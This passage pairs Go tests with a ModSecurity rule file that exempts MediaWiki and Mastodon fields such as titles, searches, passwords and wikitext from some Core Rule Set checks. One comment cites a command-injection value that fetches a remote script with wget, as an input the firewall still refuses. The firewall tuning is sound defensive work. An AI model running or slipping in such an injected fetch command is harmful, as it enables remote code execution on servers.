//nolint:gochecknoglobals // a struct cannot be a constant
var (
mastodonUsername = mastodonBodyField{
http.MethodPost, mastodonAccount, "user[account_attributes][username]=",
}
mastodonHashtag = mastodonBodyField{
http.MethodPost, "/api/v1/featured_tags", `{"name":%s}`,
}
)
func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
t.Parallel()
// python3 and powershell can be a username or a hashtag; ls -la and
// .htaccess cannot.
passes, refused := hardValues[:2], hardValues[2:]
for _, value := range passes {
if mastodonForm(t, mastodonUsername, value) >= mastodonThreshold {
t.Errorf("username %s refused", value)
}
if mastodonJSON(t, mastodonHashtag, value) >= mastodonThreshold {
t.Errorf("hashtag %s refused", value)
}
}
for _, value := range slices.Concat(
refused, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
t.Errorf("username %s let through", value)
}
unescaped, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
if mastodonJSON(t, mastodonHashtag, unescaped) < mastodonThreshold {
t.Errorf("hashtag %q let through", unescaped)
}
}
// Elsewhere both keep the two rules.
signIn := mastodonBodyField{
http.MethodPost,
mastodonSignIn,
mastodonUsername.field,
}
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
t.Errorf("%v let through", signIn)
}
statuses := mastodonBodyField{
http.MethodPost,
mastodonStatuses,
mastodonHashtag.field,
}
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
t.Errorf("%v let through", statuses)
}
}
// mastodonEmail is the email address on the sign-up, sign-in, password
// reset and account settings forms, as the start of a form body.
const mastodonEmail = "user[email]="
func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
t.Parallel()
for _, target := range []string{mastodonAccount, mastodonSignIn, "/auth/password"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
for _, address := range []string{
"python3%40example.com",
"powershell%40example.com",
"jane.profile%40example.com",
"notes.htaccess%40example.com",
} {
if mastodonForm(t, sent, address) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, address)
}
}
// The address keeps 932250 and the rules that refuse attacks.
for _, value := range slices.Concat(
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, sent, value) < mastodonThreshold {
t.Errorf("%v with %s let through", sent, value)
}
}
}
// Elsewhere the address keeps every rule.
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
if mastodonForm(
t,
sent,
"python3%40example.com",
) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
}
func TestMastodonBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mastodonStatuses, mastodonStatus + "python3"},
{mastodonStatuses, "spoiler_text=python3"},
{mastodonRules, "rule[text]=python3"},
{mastodonRoles, "user_role[name]=python3"},
{mastodonSignIn, mastodonPassword + "python3"},
{mastodonSignIn, mastodonEmail + "python3"},
{mastodonSignUp, "password=python3"},
{mastodonInbox, "json.object.content=python3"},
} {
target := sent.target + "?" + sent.field
r := request{http.MethodPost, target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mastodonThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
+409
View File
@@ -0,0 +1,409 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter of
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# MediaWiki's paths are matched at the site root and under /w/.
#
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
# with a page title, in the query or after the path:
# /index.php?title=Main_Page
# /index.php/Main_Page, where a wiki without short URLs serves its pages
# Pages under /wiki/ need neither.
#
# Four rules read a search, a title or a name as a command or a system file.
# Each exclusion below for such a field removes these four:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Every rule below is skipped unless Inspect has set tx.app_mediawiki. It sets
# it while SWW_WAF_APPS is unset, or lists mediawiki for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history
# search: /index.php?search=python3&title=Special:Search
# target: /wiki/Special:WhatLinksHere?target=Python3+notes
# page, user: /wiki/Special:Log?user=Admin&page=Python3+notes
# username: /wiki/Special:ListUsers?username=python3
# from, to: /wiki/Special:AllPages?from=python3
# prefix: /wiki/Special:PrefixIndex?prefix=python3
# returnto, returntoquery: /wiki/Special:UserLogin?returnto=Python3_notes
# ilsearch: /wiki/Special:ListFiles?ilsearch=python3
# filename: /wiki/Special:FileDuplicateSearch?filename=Pic+python3.png
# wpDestFile: /wiki/Special:Upload?wpDestFile=Pic+python3.png
# wpTarget: /wiki/Special:BlockList?wpTarget=Python3, and blocking or
# unblocking the user Python3
# Uploaded files' names skip 932180, as on the API below.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900900,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|search|target|page|user|username|from|to|prefix|returnto|returntoquery|ilsearch|filename|wpdestfile|wptarget)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The API's searches, titles, names and file names, in the query or the body:
# search: /api.php?action=opensearch&search=python3
# srsearch, pssearch: /api.php?action=query&list=search&srsearch=python3
# titles, title, page: /api.php?action=parse&page=Python3+notes
# from, to: moving a page, from=Python3+notes&to=Ls+-la+notes
# apfrom, apto, apprefix: /api.php?action=query&list=allpages&apfrom=python3
# aifrom, aiprefix: /api.php?action=query&list=allimages&aiprefix=python3
# aufrom, auprefix: /api.php?action=query&list=allusers&auprefix=python3
# bltitle: /api.php?action=query&list=backlinks&bltitle=Python3+notes
# gsrsearch, gpssearch, gapfrom, gapto, gapprefix, gaifrom, gaiprefix,
# gbltitle, geuquery: the same fields from a generator,
# /api.php?action=query&generator=allpages&gapprefix=python3
# euquery: /api.php?action=query&list=exturlusage&euquery=example.com/python3
# letitle: /api.php?action=query&list=logevents&letitle=Python3+notes
# ucuser: /api.php?action=query&list=usercontribs&ucuser=python3
# bkusers: /api.php?action=query&list=blocks&bkusers=Python3
# user: blocking, unblocking or changing the groups of a user, user=Python3
# summary, sectiontitle: saving a page, summary=Notes+on+python3
# filename, comment: uploading a file, filename=Api+python3.png
# reason: moving or deleting a page, reason=python3
# lgname, lgpassword, username, password: signing in, password=python3
# Uploaded files' names skip 932180, which refused uploading
# "Api .htaccess.png" as a server's own file. Coraza keeps these names without
# the field each came in. MediaWiki refuses a file whose extension it does not
# allow.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900901,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|srsearch|pssearch|titles?|page|from|to|apfrom|apto|apprefix|aifrom|aiprefix|aufrom|auprefix|bltitle|gsrsearch|gpssearch|gapfrom|gapto|gapprefix|gaifrom|gaiprefix|gbltitle|geuquery|euquery|letitle|ucuser|bkusers|user|summary|sectiontitle|filename|comment|reason|lgname|lgpassword|username|password)$/,\
ctl:ruleRemoveTargetById=932180;FILES"
# The search box's suggestions and the search through the REST API:
# /rest.php/v1/search/title?q=python3.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900902,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The names of the scripts and styles a page loads, which 930120 read as a
# system file: /load.php?modules=jquery,moment,oojs,...|mediawiki.storage.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?load\.php$" \
"id:900903,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:modules"
# The fields below are in bodies, and skip the four rules there:
# wpSummary: saving a page, "Notes on python3, ls -la and .htaccess"
# wpUploadDescription: uploading a file
# wpName, wpPassword: signing in
# wpOldTitle, wpNewTitleMain, wpReason: moving a page to "Python3 notes"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900910,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# These passwords skip each rule random passwords set off, on MediaWiki's pages:
# wpPassword: signing in and signing up
# and on /api.php:
# lgpassword: signing in with action=login
# password, retype: action=clientlogin, createaccount and
# changeauthenticationdata
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900917,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpPassword "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900918,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:lgpassword|password|retype)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password|retype)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password|retype)$/"
# Other apps use the names password and retype too, and these exclusions apply
# in front of every app. So these two fields skip the same rules only in the
# forms that send them. Each of these forms sends the field authAction, whose
# value is the same in every language:
# password, retype: authAction=change, changing the password at
# Special:ChangeCredentials
# retype: authAction=create, signing up at Special:CreateAccount
# retype: authAction=login-continue, setting a new password at
# Special:UserLogin after a reset or once the old one expired
# A wiki in another language posts these forms to its own names for the pages,
# such as Spezial:Benutzerkonto_anlegen on a German wiki. So the page's name
# does not count, but its title must have a namespace, such as Special: or
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
# of /index.php. A title on any other path does not count, so another app's
# paths under /index.php/ keep every rule. These rules are in phase 2, because
# the forms send authAction in the body. They check tx.app_mediawiki, since the
# skip above does not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900919,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
SecRule ARGS:authAction "@streq change" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype)$/"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900920,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:retype "@eq 0" "chain"
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
ctl:ruleRemoveTargetById=920540;ARGS:retype,\
ctl:ruleRemoveTargetById=921200;ARGS:retype,\
ctl:ruleRemoveTargetById=930100;ARGS:retype,\
ctl:ruleRemoveTargetById=930110;ARGS:retype,\
ctl:ruleRemoveTargetById=930120;ARGS:retype,\
ctl:ruleRemoveTargetById=932125;ARGS:retype,\
ctl:ruleRemoveTargetById=932130;ARGS:retype,\
ctl:ruleRemoveTargetById=932160;ARGS:retype,\
ctl:ruleRemoveTargetById=932230;ARGS:retype,\
ctl:ruleRemoveTargetById=932250;ARGS:retype,\
ctl:ruleRemoveTargetById=932260;ARGS:retype,\
ctl:ruleRemoveTargetById=932270;ARGS:retype,\
ctl:ruleRemoveTargetById=932280;ARGS:retype,\
ctl:ruleRemoveTargetById=932330;ARGS:retype,\
ctl:ruleRemoveTargetById=932340;ARGS:retype,\
ctl:ruleRemoveTargetById=932370;ARGS:retype,\
ctl:ruleRemoveTargetById=932380;ARGS:retype,\
ctl:ruleRemoveTargetById=933100;ARGS:retype,\
ctl:ruleRemoveTargetById=933135;ARGS:retype,\
ctl:ruleRemoveTargetById=933180;ARGS:retype,\
ctl:ruleRemoveTargetById=933210;ARGS:retype,\
ctl:ruleRemoveTargetById=941100;ARGS:retype,\
ctl:ruleRemoveTargetById=941120;ARGS:retype,\
ctl:ruleRemoveTargetById=941160;ARGS:retype,\
ctl:ruleRemoveTargetById=941180;ARGS:retype,\
ctl:ruleRemoveTargetById=942100;ARGS:retype,\
ctl:ruleRemoveTargetById=942151;ARGS:retype,\
ctl:ruleRemoveTargetById=942190;ARGS:retype,\
ctl:ruleRemoveTargetById=942230;ARGS:retype,\
ctl:ruleRemoveTargetById=942290;ARGS:retype,\
ctl:ruleRemoveTargetById=942320;ARGS:retype,\
ctl:ruleRemoveTargetById=942540;ARGS:retype,\
ctl:ruleRemoveTargetById=942550;ARGS:retype,\
ctl:ruleRemoveTargetById=944150;ARGS:retype"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a
# table and code blocks with a shell script, an SQL query and JavaScript, so
# they skip those fields: 930120, 932120, 932125, 932160, 932230, 932235,
# 932250, 932260, 941180, 941390, 942190 and 942270.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900911,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTextbox1 "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932125;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932160;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941180;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=941390;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942190;ARGS:wpTextbox1,\
ctl:ruleRemoveTargetById=942270;ARGS:wpTextbox1"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900912,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:text|appendtext|prependtext)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:text|appendtext|prependtext)$/,\
ctl:ruleRemoveTargetById=942270;ARGS:/^(?:text|appendtext|prependtext)$/"
# A REST API client saving a page sends its wikitext in source, which skips
# the rules above, and its summary in comment, which skips the four rules.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?rest\.php/" \
"id:900913,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:source|comment)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:source|comment)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.source,\
ctl:ruleRemoveTargetById=932160;ARGS:json.source,\
ctl:ruleRemoveTargetById=932230;ARGS:json.source,\
ctl:ruleRemoveTargetById=932235;ARGS:json.source,\
ctl:ruleRemoveTargetById=941180;ARGS:json.source,\
ctl:ruleRemoveTargetById=941390;ARGS:json.source,\
ctl:ruleRemoveTargetById=942190;ARGS:json.source,\
ctl:ruleRemoveTargetById=942270;ARGS:json.source"
# The reasons on the admin pages are in bodies. They skip only 930120 and
# 932120, which refused "Spamming links to .htaccess guides" and the same with
# powershell:
# wpReason-other: blocking a user
# user-reason: changing a user's groups
# mwProtect-reason: protecting a page
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900914,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
# line. Watchlists holding "Lighthouse notes" and then one of these titles
# were refused:
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
# refused. A watchlist that mixes a title holding one of these with a title
# starting with a command name is refused too.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900915,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
